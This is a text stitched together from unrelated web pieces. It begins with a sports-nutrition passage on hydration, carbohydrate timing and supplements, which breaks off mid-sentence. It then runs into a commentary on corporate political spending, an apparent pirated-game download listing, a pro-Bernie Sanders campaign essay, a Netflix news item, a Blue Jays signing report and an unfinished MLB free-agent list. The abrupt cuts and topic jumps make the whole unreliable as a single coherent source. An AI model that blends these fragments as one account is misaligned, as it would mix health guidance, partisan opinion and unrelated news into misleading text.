Disturbances of fluid and electrolyte balance that can occur in athletes include dehydration, hypohydration, and hyponatremia (83). Exercise-induced dehydration develops because of fluid losses that exceed fluid intake. Although some individuals begin exercise euhydrated and dehydrate over an extended duration, athletes in some sports might start training or competing in a dehydrated state because the interval between exercise sessions is inadequate for full rehydration (82). Another factor that may predispose an athlete to dehydration is "making weight" as a prerequisite for a specific sport or event. Hypohydration, a practice of some athletes competing in weight-class sports (i.e., wrestling, boxing, lightweight crew, martial arts, etc.), can occur when athletes dehydrate themselves before beginning a competitive event. Hypohydration can develop by fluid restriction, certain exercise practices, diuretic use, or sauna exposure before an event. In addition, fluid deficits may span workouts for athletes who participate in multiple or prolonged daily sessions of exercise in the heat (84).
Hyponatremia (serum sodium concentration less than 130 mmol·L−1) can result from prolonged, heavy sweating with failure to replace sodium, or excessive water intake. Hyponatremia is more likely to develop in novice marathoners who are not lean, who run slowly, who sweat less, or who consume excess water before, during, or after an event (83).
Skeletal muscle cramps are associated with dehydration, electrolyte deficits, and muscle fatigue. Non-heat-acclimatized American football players commonly experience dehydration and muscle cramping particularly during formal preseason practice sessions in late summer. Athletes participating in tennis matches, long-cycling races, late-season triathlons, soccer, and beach volleyball are also susceptible to dehydration and muscle cramping. Muscle cramps also occur in winter-sport athletes such as cross-country skiers and ice hockey players. Muscle cramps are more common in profuse sweaters who experience large sweat sodium losses (83).
After exercise
Because many athletes do not consume enough fluids during exercise to balance fluid losses, they complete their exercise session dehydrated to some extent. Given adequate time, intake of normal meals and beverages will restore hydration status by replacing fluids and electrolytes lost during exercise. Rapid and complete recovery from excessive dehydration can be accomplished by drinking at least 16-24 oz (450-675 mL) of fluid for every pound (0.5 kg) of body weight lost during exercise. Consuming rehydration beverages and salty foods at meals/snacks will help replace fluid and electrolyte losses (83).
Special Environmental Conditions
Hot and humid environments.
The risk for dehydration and heat injury increases dramatically in hot, humid environments (84). When the ambient temperature exceeds body temperature, heat cannot be dissipated by radiation. Moreover, the potential to dissipate heat by evaporation of sweat is substantially reduced when the relative humidity is high. There is a very high risk of heat illness when temperature and humidity are both high. If competitive events occur under these conditions, it is necessary to take every precaution to ensure that athletes are well hydrated, have ample access to fluids, and are monitored for heat-related illness.
Cold environments.
It is possible for dehydration to occur in cool or cold weather (85). Factors contributing to dehydration in cold environments include respiratory fluid losses and sweat losses that occur when insulated clothing is worn during intense exercise. Dehydration can also occur because of low rates of fluid ingestion. If an athlete is chilled and available fluids are cold, the incentive to drink may be reduced. Finally, removal of multiple layers of clothing to urinate may be inconvenient and difficult for some athletes, especially women, and they may voluntarily limit fluid intake (86).
Altitude.
Fluid losses beyond those associated with any exercise performed may occur at altitudes >2500 m (8200 ft) consequent to mandatory diuresis and high respiratory water losses, accompanied by decreased appetite. Respiratory water losses may be as high as 1900 mL·d−1 (1.9 L·d−1) in men and 850 mL·d−1 (0.85 L·d−1) in women (87,88). Total fluid intake at high altitude approaches 3-4 L·d−1 to promote optimal kidney function and maintain urine output of ∼1.4 L in adults (87).
THE TRAINING DIET
The fundamental differences between an athlete's diet and that of the general population are that athletes require additional fluid to cover sweat losses and additional energy to fuel physical activity. As discussed earlier, it is appropriate for much of the additional energy to be supplied as carbohydrate. The proportional increase in energy requirements seems to exceed the proportional increase in needs for most other nutrients. Accordingly, as energy requirements increase, athletes should first aim to consume the maximum number of servings appropriate for their needs from carbohydrate-based food groups (bread, cereals and grains, legumes, milk/alternatives, vegetables, and fruits). Energy needs for many athletes will exceed the amount of energy (kcal·d−1) in the upper range of servings for these food groups. Conversely, athletes who are small and/or have lower energy needs will need to pay greater attention to making nutrient-dense food choices to obtain adequate carbohydrate, protein, essential fats, and micronutrients.
With regard for the timing of meals and snacks, common sense dictates that food and fluid intake around workouts be determined on an individual basis with consideration for an athlete's gastrointestinal characteristics as well as the duration and intensity of the workout. For example, an athlete might tolerate a snack consisting of milk and a sandwich 1 h before a low-intensity workout but would be uncomfortable if the same meal was consumed before a very hard effort. Athletes in heavy training or doing multiple daily workouts may need to eat more than three meals and three snacks per day and should consider every possible eating occasion. These athletes should consider eating near the end of a workout, having more than one afternoon snack, or eating a substantial snack before bed.
Conclusion statement.
Twenty-three studies investigating consumption of a range of macronutrient composition during the training period on athletic performance were evaluated. Nine studies have reported that the consumption of a high-carbohydrate diet (>60% of energy) during the training period and the week before competition results in improved muscle glycogen concentrations and/or significant improvements in athletic performance. Two studies reported no additional performance benefits when consuming level above 6 g carbohydrates·kg−1 body weight. Two studies report sex differences; women may have less ability to increase muscle glycogen concentrations through increased carbohydrate consumption, especially when energy intake is insufficient. One study based on the consumption of a high-fat diet (>65% of energy) for10 d followed by a high-carbohydrate diet (>65% of energy) for 3 d reported a significant improvement in athletic performance. Nine studies report no significant effects of macronutrient composition on athletic performance during the training period and week before competition. (Evidence Grade II = Fair). (www.adaevidencelibrary.com/conclusion.cfm?conclusion_statement_id=250447).
Pre-Exercise Meal
Eating before exercise, as opposed to exercising in the fasting state, has been shown to improve performance (89,90). The meal or snack consumed before competition or an intense workout should prepare athletes for the upcoming activity and leave the individual neither hungry nor with undigested food in the stomach. Accordingly, the following general guidelines for meals and snacks should be used: sufficient fluid should be ingested to maintain hydration, foods should be relatively low in fat and fiber to facilitate gastric emptying and minimize gastrointestinal distress, high in carbohydrate to maintain blood glucose and maximize glycogen stores, moderate in protein, and familiar to the athlete.
The size and timing of the pre-exercise meal are interrelated. Because most athletes do not like to compete on a full stomach, smaller meals should be consumed near the event to allow for gastric emptying, whereas larger meals can be consumed when more time is available before exercise or competition. Amounts of carbohydrate shown to enhance performance have ranged from approximately 200 to 300 g of carbohydrate for meals consumed 3-4 h before exercise. Studies report either no effect or beneficial effects of pre-event feeding on performance (91-98). Data are equivocal concerning whether the glycemic index of carbohydrate in the pre-exercise meal affects performance (92,99-102).
Although the above guidelines are sound and effective, the athlete's individual needs must be emphasized. Some athletes consume and enjoy a substantial meal (e.g., pancakes, juice, and scrambled eggs) 2-4 h before exercise or competition; however, others may experience severe gastrointestinal distress after such a meal and need to rely on liquid meals. Athletes should always ensure that they know what works best for themselves by experimenting with new foods and beverages during practice sessions and planning ahead to ensure they will have access to these foods at the appropriate time.
Conclusion statement.
Nineteen studies investigating the consumption of a range of macronutrient composition during the 24 h before competition on athletic performance were evaluated. Of eight studies, six reported no significant effect of meal consumption 90 min to 4 h before trials on athletic performance. Six studies that focused on the consumption of food or beverage within the hour before competition reported no significant effects on athletic performance, despite hyperglycemia, hyperinsulinemia, increased carbohydrate oxidation, and reduced free fatty acid availability. Variations in research methodology on glycemic index of meals consumed before competition have led to inconclusive findings. (Evidence Grade II = Fair). (www.adaevidencelibrary.com/conclusion.cfm?conclusion_statement_id=250452).
During Exercise
Current research supports the benefit of carbohydrate consumption in amounts typically provided in sport drinks (6%-8%) to endurance performance in events lasting 1 h or less (103-105), especially in athletes who exercise in the morning after an overnight fast when liver glycogen levels are decreased. Providing exogenous carbohydrate during exercise helps maintain blood glucose levels and improve performance (106).
For longer events, consuming 0.7 g carbohydrates·kg−1 body weight·h−1 (approximately 30-60 g·h−1) has been shown unequivocally to extend endurance performance (107,108). Consuming carbohydrates during exercise is even more important in situations when athletes have not carbohydrate-loaded, not consumed pre-exercise meals, or restricted energy intake for weight loss. Carbohydrate intake should begin shortly after the onset of activity; consuming a given amount of carbohydrate as a bolus after 2 h of exercise is not as effective as consuming the same amount at 15- to 20-min intervals throughout the 2 h of activity (109). The carbohydrate consumed should yield primarily glucose; fructose alone is not as effective and may cause diarrhea, although mixtures of glucose and fructose, other simple sugars and maltodextrins, seem effective (107). If the same total amount of carbohydrate and fluid is ingested, the form of carbohydrate does not seem to matter. Some athletes may prefer to use a sport drink, whereas others may prefer to consume a carbohydrate snack or sports gel and consume water. As described elsewhere in this document, adequate fluid intake is also essential for maintaining endurance performance.
Conclusion statement.
Thirty-six studies investigating the consumption of a range of macronutrient composition during competition on athletic performance were evaluated. Seven studies based on carbohydrate consumption during exercise lasting less than 60 min show conflicting results on athletic performance. However, of 17 studies based on carbohydrate consumption during exercise lasting greater than 60 min, 5 reported improved metabolic response, and 7 of 12 studies reported improvements in athletic performance. Evidence is inconclusive regarding the addition of protein to carbohydrate during exercise on athletic performance. Seven studies based on consumption of pre-exercise meals in addition to carbohydrate consumption during exercise suggest enhanced athletic performance. (Evidence Grade II = Fair). (www.adaevidencelibrary.com/conclusion.cfm?conclusion_statement_id=250453).
Recovery
The timing and composition of the postcompetition or postexercise meal or snack depend on the length and intensity of the exercise session (i.e., whether glycogen depletion occurred) and on when the next intense workout will occur. For example, most athletes will finish a marathon with depleted glycogen stores, whereas glycogen depletion would be less marked after a 90-min training run. Because athletes competing in a marathon are not likely to perform another race or hard workout the same day, the timing and composition of the postexercise meal is less critical for these athletes. Conversely, a triathlete participating in a 90-min run in the morning and a 3-h cycling workout in the afternoon needs to maximize recovery between training sessions. The postworkout meal assumes considerable importance in meeting this goal.
Timing of postexercise carbohydrate intake affects glycogen synthesis over the short term (110). Consumption of carbohydrates within 30 min after exercise (1.0-1.5 g carbohydrate·kg−1 at 2-h intervals up to 6 h is often recommended) results in higher glycogen levels after exercise than when ingestion is delayed for 2 h (111). It is unnecessary for athletes who rest one or more days between intense training sessions to practice nutrient timing about glycogen replenishment provided sufficient carbohydrates are consumed during the 24-h period after the exercise bout (112). Nevertheless, consuming a meal or snack near the end of exercise may be important for athletes to meet daily carbohydrate and energy goals.
The type of carbohydrate consumed also affects postexercise glycogen synthesis. When comparing simple sugars, glucose and sucrose seem equally effective when consumed at a rate of 1.0-1.5 g·kg−1 body weight for 2 h; fructose alone is less effective (113). With regard to whole foods, consumption of carbohydrate with a high glycemic index results in higher muscle glycogen levels 24 h after a glycogen-depleting exercise as compared with the same amount of carbohydrates provided as foods with a low glycemic index (114). Application of these findings, however, must be considered in conjunction with the athlete's overall diet. When isocaloric amounts of carbohydrates or carbohydrates plus protein and fat are provided after endurance (115) or resistance exercise (116), glycogen synthesis rates are similar. Including protein in a postexercise meal, however, may provide needed amino acids for muscle protein repair and promote a more anabolic hormonal profile (33).
Conclusion statement.
Twenty-five studies investigating the consumption of a range of macronutrient composition during the recovery period were evaluated. Nine studies report that consumption of diets higher in carbohydrate (>65% carbohydrate or 0.8-1.0 g carbohydrates·kg−1 body weight·h−1) during the recovery period increases plasma glucose and insulin concentrations and increases muscle glycogen resynthesis. Provided that carbohydrate intake is sufficient, four studies show no significant benefit of additional protein intake and two studies show no significant effect of meal timing on muscle glycogen resynthesis during the recovery period. Studies focusing on carbohydrate consumption during recovery periods of 4 h or more suggest improvements in athletic performance. (Evidence Grade II = Fair). (www.adaevidencelibrary.com/conclusion.cfm?conclusion_statement_id=250451).
DIETARY SUPPLEMENTS AND ERGOGENIC AIDS
The overwhelming number and increased availability of sports supplements presents an ongoing challenge for the practitioner and the athlete to keep up-to-date about the validity of the claims and scientific evidence. Although dietary supplements and nutritional ergogenic aids, such as nutritional products that enhance performance, are highly prevalent, the fact remains that very few improve performance (117-119) and some may cause concern.
In the United States, the Dietary Supplements and Health Education Act of 1994 allows supplement manufacturers to make health claims regarding the effect of products on body structure or function but not therapeutic claims to "diagnose, mitigate, treat, cure, or prevent" a specific disease or medical condition (117,120). As long as a special supplement label indicates the active ingredients and the entire ingredients list is provided, claims for enhanced performance can be made, valid or not. The Act, however, made the FDA responsible for evaluating and enforcing safety. In 2003, the US/FDA Task Force on Consumer Health Information for Better Nutrition proposed a new system for evaluating health claims that uses an evidence-based model and is intended to help consumers determine effectiveness of ergogenic aids and dietary supplements more reliably (117). Although all manufacturers are required by the FDA to analyze the identity, purity, and strength of all of their products' ingredients, they are not required to demonstrate the safety and efficacy of their products.
Canada regulates supplements as medicine or as natural health products (NHP). Products regulated in Canada as NHP must comply with Natural Health Products Regulations (2003) and manufacturers are allowed to make a full range of claims (structure/function, risk reduction, treatment, prevention) as supported by scientific evidence (117). In Canada, sports supplements such as sport drinks, protein powders, energy bars, and meal replacement products/beverages are regulated by Health Canada's Canadian Food Inspection Agency, whereas energy drinks, vitamin/mineral and herbal supplements, vitamin-enhanced water, and amino acid supplements fall under the NHP Regulations. Anabolic steroids are considered drugs and are tightly regulated under the Controlled Drugs & Substances Act.
Sports dietitians should consider the following factors in evaluating nutrition-related ergogenic aids: validity of the claims relative to the science of nutrition and exercise, quality of the supportive evidence provided (double-blinded, placebo-controlled scientific studies vs testimonials), and health and legal consequences of the claim (121,122). The safety of ergogenic aids remains in question. Possible contamination of dietary supplements and ergogenic aids with banned or nonpermissable substances remains an issue of concern. Therefore, sports dietitians and athletes must proceed with caution when considering the use of these types of products. Ultimately, athletes are responsible for the product they ingest and any subsequent consequences. Dietary supplements or ergogenic aids will never substitute for genetic makeup, years of training, and optimum nutrition.
Both national [National Collegiate Athletic Association (NCAA; www.ncaa.org), United States Anti-Doping Agency (www.usantidoping.org) ] and international sports organizations [World Anti-Doping Agency (WADA; (www.wada-ama.org)] limit the use of certain ergogenic aids and require random urine testing of athletes to ensure that certain products are not consumed. In Canada, the Canadian Centre for Ethics in Sport (www.cces.ca) is the organization which checks for banned substances.
The ethical use of performance-enhancing substances is a personal choice and remains controversial (117). Therefore, it is important that the qualified sports nutrition professional keep an open mind when working with elite athletes to effectively assess, recommend, educate, and monitor athletes who contemplate using or actively take dietary supplements and/or ergogenic aids (117). Credible and responsible information regarding the use of these products should be made available by qualified health professionals such as Board Certified Specialists in Sports Dietetics (CSSD) who carefully evaluate the risk-benefit ratio, including a complete dietary assessment.
It is beyond the scope of this article to address the multitude of ergogenic aids used by athletes in North America. From a practical perspective, however, most ergogenic aids can be classified into one of four categories: 1. those that perform as claimed; 2. those that may perform as claimed but for which there is insufficient evidence of efficacy at this time; 3. those that do not perform as claimed; and 4. those that are dangerous, banned, or illegal and, therefore, should not be used (122).
1. Ergogenic aids that perform as claimed
Creatine.
Creatine is currently the most widely used ergogenic aid among athletes wanting to build muscle and enhance recovery (118,123-125). Creatine has been shown to be effective in repeated short bursts of high-intensity activity in sports that derive energy primarily from the ATP-CP energy system such as sprinting and weight lifting but not for endurance sports such as distance running (32,117,126-128). Most of the researches on creatine have been conducted in a laboratory setting with male athletes.
The most common adverse effects of creatine supplementation are weight (fluid) gain, cramping, nausea, and diarrhea (32,117,129). Although widely debated, creatine is generally considered safe for healthy adults, despite |
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As Occupy Seattle protests occupied local news, a big corporation -- Costco -- is brazenly trying to buy a statewide election. Costco has put a record $22 million into an initiative, which it wrote, to privatize liquor sales in Washington. The potential impact on its bottom line: priceless.
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Mitt Romney was feted at a breakfast in digs of the American Trucking Association, with capital insiders as his hosts. Gov. Rick Perry recently held court at the National Association of Wholesale Distributors.
The U.S. House of Representatives announced its work schedule for the coming year. The "Peoples' House" will be on the job in Washington, D.C., just 109 days during 2012. Average Americans -- those with jobs -- work 258 days.
Republicans in the U.S. Senate continued to hold up nomination of Richard Cordray, a former Ohio attorney general, as director of the Consumer Finance Protection Bureau, thus blocking oversight of Wall Street.
After America's taxpayers shelled out $65 billion for 170 F-22 Raptor jet fighters, pilots of the aircraft have complained of oxygen deprivation. The Pentagon has just given the plane's builder, Lockheed-Martin, a $24 million contract to study the problem.
The Congressional Budget Office reported on Tuesday that after-tax income of the top 1 percent of American wage earners rose 275 percent from 1979 to 2007 -- more than 10 times the increase enjoyed by the bottom 20 percent.
Some are sanguine about this.
"Inequality creates an incentive for people to produce and create wealth.... The last thing you would want to do in any knid of sensible society is to have a set of rules in which 'one man, one vote' dictates over every issue," NYU Law Professor Richard Epstein argued Thursday on PBS' The News Hour.
But a topheavy majority of the public -- in the 65 to 70 percent range, according to the CBS/NYT poll -- are disturbed at disparities of wealth, and want the wealthy to pay more in stemming the blow of red ink.
Street protests have raised alarm -- witness the Fox smears and ham-handed Limbaugh characterizations (made while Rush was defending as "Christians" child murderers of the Lord's Resistance Army in Uganda).
So far, however, the movement has yet to disrupt the business of America that is big business, or even evoke ersatz promises of reform.
The top 1 percent have an tried-and-true strategy: discredit and outlast.Posted by Admin | March 20, 2017 | Action, Casual.
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28 Waves Later – Try to survive when there’s a swarm of monsters coming at you! Zombies won’t let you rest even for a minute. Imagine you’re in a closed space and zombies are…
Game Overview
28 Waves Later – Try to survive when there’s a swarm of monsters coming at you! Zombies won’t let you rest even for a minute. Imagine you’re in a closed space and zombies are closing in on you. You can use 9 types of weapons. Only one case of ammo. Kill zombies to get weapons, medkits and ammo. Pass increasingly difficult levels. Perfect your game skills. Be cool, play and reach your goals in the game. Even the most bloodthirsty zombie hunters will like this game.
28 Waves Later
Dagestan Technology
Dagestan Technology
15 Mar, 2017
Action, Casual
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28 Waves Later
P2P
42.1 MB
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System Requirement
Minimum:
OS: Microsoft® Windows® XP / Vista / 7 / 8.1 / 10
Processor: Dual Core 2.0 GHz
Memory: 2 GB RAM
Graphics: NVIDIA GeForce 8600 GT
DirectX: Version 9.0
Storage: 200 MB available space
Sound Card: DirectX® Compatible
Recommended:
OS: Microsoft® Windows® 7 / 8.1
Processor: Dual Core 3.0+ GHz or higher
Memory: 2 GB RAM
Graphics: NVIDIA GeForce 9600 GT
DirectX: Version 9.0
Storage: 200 MB available space
Sound Card: DirectX® Compatible
ScreenshotsIt would be hard to overstate what Bernie Sanders has already achieved in his campaign for president, or the obstacles he’s had to surmount in order to achieve it. Not only has he turned a planned Hillary Clinton coronation into an exercise in grass-roots democracy, he’s reset the terms of the debate. We are edging closer to the national conversation we so desperately need to have. If we get there, all credit goes to Bernie.
Many of those obstacles were put in place by Democratic national party chair and Clinton apparatchik Deborah Wasserman Schultz. Without pretense of due process, Schultz slashed the number of 2016 debates to six, down from 26 in 2008, and scheduled as many as she could on weekends when she figured no one would be watching. To deprive would-be challengers of free exposure, Schultz robbed voters of free and open debate and ceded the spotlight to the dark vaudeville of the Republicans. That Sanders got this far in spite of her is a miracle in itself.
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Sanders got bagged again in Iowa, this time by a state party chair, one Andrea McGuire. Like Schultz, McGuire’s specialty is high-dollar fundraising, and like Schultz she was deeply involved in Clinton’s 2008 campaign. Under the esoteric rules of the Iowa Democratic caucuses, and after a string of lucky coin tosses, Clinton eked out a 700.52 to 696.86 margin, not in votes cast but in a mysterious commodity known as "delegate equivalents."
We’re electing a president, not the senior warden of a Mason’s lodge. All evidence indicates Sanders won the popular vote. It isn’t a minor point. If the public knew he won the only vote anybody understands or cares about, Clinton wouldn’t be “breathing a sigh of relief,” she’d be hyperventilating. McGuire refuses to release vote totals. She says keeping them a secret is an Iowa tradition. So what if it is? As with debates, the stakes transcend the candidates’ interests. In an editorial headlined "Something Smells in the Democratic Party," the Des Moines Register, which endorsed Clinton prior to the caucuses, wrote:
What happened Monday night at the Democratic caucuses was a debacle, period… the refusal to undergo scrutiny or allow for an appeal reeks of autocracy.
Given that this entire election is a mass insurrection against a rigged system, one would think the national political press would share the Register’s concern, but it moved on to the next race with barely a backward glance. Throughout the campaign the press has been nearly as big an obstacle for Sanders as the party. Even jaded political junkies were startled when the Tyndall Report exposed the media blackout of Sanders. In 2015, ABC News devoted 261 minutes to the 2016 campaign. Donald Trump got 81 minutes. Bernie Sanders got 20 seconds. Nearly as harmful is the dismissive tone of the cable commentariat, and I don’t mean just Fox News.
CNN has larded up "the best political team on television" with partisans, including Bush acolyte Ana Navarro and Trump minion Jeffrey Lord. On the Democratic side, Paul Begala advises a Clinton super PAC; David Axelrod was Obama’s guru; Donna Brazile a DNC chair; Van Jones an Obama staffer; David Gergen a Clinton adviser. All are bright, honorable people, but it’s hard to report on a peasant revolt from inside the castle. (The network just added Sanders sympathizer Bill Press to the mix, but it’s far too little and too late.)
Things aren’t all that different over at MSNBC though to its credit it lets reporters do more of its analysis. One might expect its younger on-air personalities to be in sync with Sanders but our younger political journalists aren’t like our younger voters, being more attuned to the centrist politics of Clinton and Obama than to the reformist zeal now reshaping and reenergizing the Democrat left. The whole press corps still treats politics as theater or sport. No one ever explains policy on a post-debate show. Must all talk be of the horse race? It’s a democracy, not an off-track betting parlor. We must all think less like political consultants and more like citizens, and journalists should lead the way.
That they don’t is a gift to Clinton. Sanders wants to talk about the fallen state of our politics, the fallen state of our middle class, and how the first fall caused the second. Clinton can’t have that discussion. Exposing her differences with Sanders on such topics would sink her. So she says she and he are alike in every way except she’s practical and electable—"a progressive who likes to get things done"--and he’s a hopeless dreamer. It’s the kind of argument political reporters were born to buy, and despite being full of holes, it works even among some non-journalists.
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The electability argument is all about money and polls, ground games and firewalls, though you hear less about money lately. Clinton’s campaign muddied the message of its launch by leaking a plan to raise $300 million for an "independent" super PAC. This was to be the year of the super PAC but it’s proving instead that even in politics, money isn’t everything. Among Republicans, Jeb Bush raised the most money, Trump the least. Trump rides high. Bush is on a respirator. As you may have heard, Bernie doesn’t have a super PAC. Backed by a record breaking 1.3 million small donors, he slashed 40 points off Clinton’s lead and rewrote the rules of presidential politics.
You hear even less about polls; or general election polls at least. What makes the media blackout of Sanders an even greater travesty is that it was imposed over a period of many months in which he led all 21 other candidates in both parties in nearly every general election poll. When a self-described socialist leads every poll, something historic is happening. Even horse-race reporters should have seen that a story so big, so confounding of conventional wisdom, demanded in depth coverage, but unless you read Salon or Rolling Stone, such coverage was hard to find.
In Thursday’s MSNBC debate, Rachel Maddow, having raised the specters of George McGovern and Barry Goldwater, briefly acknowledged Sanders’ general election lead (“I know you have good head to head polling numbers… right now”) before asking, “but do you have a general election strategy?” Sanders might have referred all Goldwater questions to Hillary, who after all worked on Barry’s famed '64 race, or asked Maddow why the guy leading every general election poll would need a new general election strategy, but he did neither.
There is no Clinton firewall. At most, 10 states are out of Sanders’ reach and public opinion is never static. Nor does she have a better "ground game." Real grass-roots organizations like the Working Families Party, MoveOn.org and Democracy for America let members guide endorsements. (Sanders’ support in each of those groups was at or above 85 percent) Such groups are building the movement Sanders speaks of in every speech. Building a movement is like wiring a house for electricity. You can buy the most expensive lamps in the store but with no electricity, when you hit the switch the lights don’t go on. It takes real conviction to fuel grass-roots politics. In Iowa, Sanders ran 5 points ahead of late polls. It won’t be the last time it happens.
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If you strip away all the nonsense about polls, money, firewalls and ground games, Clinton’s left with two arguments, neither one pretty. One is that Sanders is too far left. Pundits dismiss his polls by repeating her "wait till the Republicans get ahold of him" line. And they’ll say what? That he’s old? Jewish? A socialist? Everybody already knows and anyone who’d even think of voting Democratic is already down with it or soon could be. The "socialist" tag needs explaining, but so do "corrupt" and "fascist." Both parties’ frontrunners carry baggage. For my money, Bernie’s is the lightest. As for the notion that voters can’t see that paying $1,000 in taxes beats paying $5,000 in health insurance premiums, it is an insult to the American people.
The core of Clinton’s realpolitik brief pertains not to electability but to governance. Her point is that Sanders is naïve. She says none of his proposals can get though a Republican Congress. She strongly implies that he’d roll back Obamacare, a charge that is false, cynical and so nonsensical she’ll have to stop making it soon. She says she has a plan to get to universal health care—she doesn’t—and that she’ll do it by working “in partnership” with the insurance and pharmaceutical industries.
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Who’s being naïve here? A Republican Congress won’t pass any of her ideas either. The only way to get real change is to elect Democrats to Congress and have a grass-roots movement strong enough to keep the heat on them. Nor will insurers cough up a dime of profit without a fight. Vowing to spare us a “contentious debate” over single-payer care she ignores the admonition of Frederick Douglass; “Power concedes nothing without demand. It never did and it never will.” There has been a lot of talk lately about what a progressive is. Here’s a hint: if you think Douglass is wrong, you might not be one.
Clinton’s last argument concerns loyalty. Throughout 2015 she sniped at Obama from the right while relegating Bill to the sidelines. Last month, seeing her lead slip away, she wrapped herself in political and family connections, as if hoping to gain the White House as a legacy admission. Analysts say Sanders drove her to the left. It’s partly but only superficially true. Lately he has driven her to the status quo, a bad place to be in 2016.
Democrats are deeply loyal to Barack Obama and Bill Clinton who didn’t so much reconcile their party’s conflicts as engross them within their protean personalities. Hillary accuses Sanders of disloyalty to them and to the modern party they held together. When Sanders suggested that some progressive groups might be part of the establishment, she ripped into him, denying there even is such a thing. There is, of course. Its main components were once grass-roots movements that traded independence for access and are now Washington lobbies with grass-roots mailing lists. They were better off when they played harder to get.
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The absence of an independent, progressive movement left a vacuum that groups like The Working Families Party and MoveOn.org have begun to fill not a moment too soon. Clinton seeks to cast Sanders as the "other" by calling into question his loyalty to the establishment. It gets her nothing. Democrats will always be loyal to Bill and Barack, but know in their hearts it’s time to move on. The debate now is over what comes next.
It’s not a debate Hillary wants. She’s a superb debater, whip smart, well prepared and a world-class verbal gymnast. I’m guessing Sanders goes a little lighter on debate prep, making him less concrete and specific. I wish he engaged more directly. But his quiet dignity serves him, and us, well. He’s the anti-Trump, doing nearly as much to elevate public discourse as Trump does to debase it.
One way to sum up the case he’s trying to make might be as follows. In the 1990s a near bipartisan consensus celebrated a new age of globalization and information technology in which technology and trade spur growth that in turn fosters a broad and inclusive prosperity. Government’s job is to deregulate finance and trade and work with business in ‘public private partnerships’ for progress.
Twenty years on, Hillary still sees the world through the rose-colored glasses of that '90s consensus. Not Bernie. He sees that in 2016 rising tides don’t even lift most boats, that growth comes at a steep price when it comes at all, and that new technology cost more jobs than it creates. He understands that when jobs flow to countries with weak governments and low wages, the American middle class can’t get a raise. He sees that public-private partnership meant pay-to-play politics, and that the whole system runs not on innovation but corruption. My guess is the middle class sees what he sees and wants what he wants: a revolution. If he can continue to drive the debate, they may get one.Netflix has big plans for 2017. After recently announcing that it plans to have half of its content consist of original programming over the next few years, the company also said it would come out with 20 unscripted shows in 2017. First reported by Variety, Netflix plans to double its amount of original content in 2017 to 1,000 hours, which will include new unscripted series like the global competition show Ultimate Beastmaster, produced by Sylvester Stallone and The Biggest Loser executive producer Dave Broome.
Netflix Chief content officer Ted Sarandos spoke about his company's plans at Monday's UBS Global Media & Communications Conference in New York. Sarandos said unscripted content is a "very interesting business," and Netflix will focus on shows that have the potential to reach an international audience. Ultimate Beastmaster will feature athletes and announcers from the US, Brazil, South Korea, Mexico, Germany, and Japan, with each country recording its part of the show in its own native languages and following athletes competing across an obstacle course called "The Beast." At the end of the 10-episode series, one athlete will be crowned the Ultimate Beastmaster.
Sarandos cited the company's hit show Stranger Things as a milestone in Netflix's original programming journey. It was the first series Netflix produced and developed in-house, and thanks to its popularity, the company is already working on season two. However, Netflix doesn't want to be an all-originals streaming company. While the company continues to develop unique show and movie ideas, it still only plans to have 50 percent of its content be totally original programming. Sarandos mentioned the recent reboot of Gilmore Girls as an example where licensing and collaboration made for the best result. “Warner Bros. owned the IP. There was no model I could do that myself," Sarandos said, according to Variety. "We had a unique ability to do it."
Sarandos also reemphasized that live sports is an area Netflix will stay out of since it's not the best platform for live event streaming. “Today, don’t look for us to be bidding for league rights,” Sarandos said, however he did add that “league creation might be interesting.”The Blue Jays have signed Vladimir Guerrero Jr. — the son of the former Montreal Expos’ great — with the opening of baseball’s international free-agency period Thursday. The signing was reported Thursday by Baseball America.
The Jays have long been linked to the 16-year-old Dominican — recently ranked the top international prospect by Baseball America and is considered the best power hitter among international prospects — and are already reported to have a deal in place. Jays general manager Alex Anthopoulos would not discuss specifics Wednesday. “When (Thursday) hits we’ll start to have talks and so on, but obviously everyone knows (international free agency) moves fast,” he said. “It seems like that’s the one part of our game that’s like the NHL free-agent period.”
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One wrinkle for the Jays is that in order to sign Guerrero, they will likely have to go over their allotted $2.3 million international signing bonus pool. But Anthopoulos said Wednesday he would be willing to incur the penalties of going over-slot, which include a 100 per cent tax on any overages as well as being barred from signing any international free agent for more than $300,000 for the next two years. “For the right guy, absolutely,” Anthopoulos said. The elder Vladimir Guerrero played 16 seasons in the big leagues, including eight with the Expos. The nine-time all-star and 2004 American League MVP signed a minor-league deal with the Jays in 2012 and played 12 games with the club’s minor-league affiliates before asking for his release. He officially retired last year.
Read more about:By now, we've all had time to remember that the early stages of baseball's offseason are tedious. Nothing much happens until the winter meetings in early December, after which the floodgates open. As a means of passing time, we've decided to have some fun by identifying the one free agent who every team should sign this winter.
Before we get to the exercise, let's lay down some ground rules: 1) Shohei Otani isn't eligible for free agency yet, so we excluded him from the player pool; 2) We tried to keep things somewhat realistic (e.g. no J.D. Martinez for the Miami Marlins); 3) We used the players just once each. (Note: The combination of Nos. 2 and 3 means not every top free agent will be represented here)
Arizona Diamondbacks
Again, we're keeping it as realistic as possible. That means the D-Backs get Bryan Shaw rather than Martinez. Shaw (and most everyone else) obviously lacks Martinez's impact potential, but his presence would enable Archie Bradley to slot in at closer. Shaw has a rubber arm, and seems to take fewer days off than God, seeing as how he's averaged 76 appearances per pop over the past five seasons. He spent the first two seasons of his big-league career in Arizona, so this represents a homecoming of sorts, too.
Atlanta Braves
Our first splash signing goes to the team with the newest general manager. Alex Anthopoulos knows a thing or two about getting fans hyped through transactions, meaning Mike Moustakas probably looks better to him than a woodchipper looks to a termite. Moustakas would give the Braves a needed boost at the hot corner, and is young enough to have multiple good seasons ahead of him -- ergo, he's a smart get for a team on the rise.
Baltimore Orioles
The Orioles always need starting pitching; the Orioles always seem to sign pitchers whose ERA is unsustainable. Those statements are probably more connected than not. Dan Duquette's hands are often tied by his lack of resources, so what does he do? He inks the pitchers who fall through the cracks for various reasons. Jason Vargas is a changeup artist whose brutal second half derailed his chance at a big payday. Vargas figures to be a No. 4 heading forward -- that would be an upgrade for the O's.
Boston Red Sox
Possibly the most predicted free-agent-to-team combination of the winter. There's valid reason to doubt Hosmer's ability to repeat last season's seeming breakout. That won't stop someone from giving him a big contract. For our money, that "someone" will be Boston president Dave Dombrowski.
Chicago Cubs
Possibly the second-most predicted free-agent-to-team combination of the winter. Alex Cobb has experience with Joe Maddon and Jim Hickey, and would slot in nicely as the Cubs' designated bulldog of choice, replacing John Lackey. Cobb is tougher than concrete, but his durability woes should keep his price point in check.
Chicago White Sox
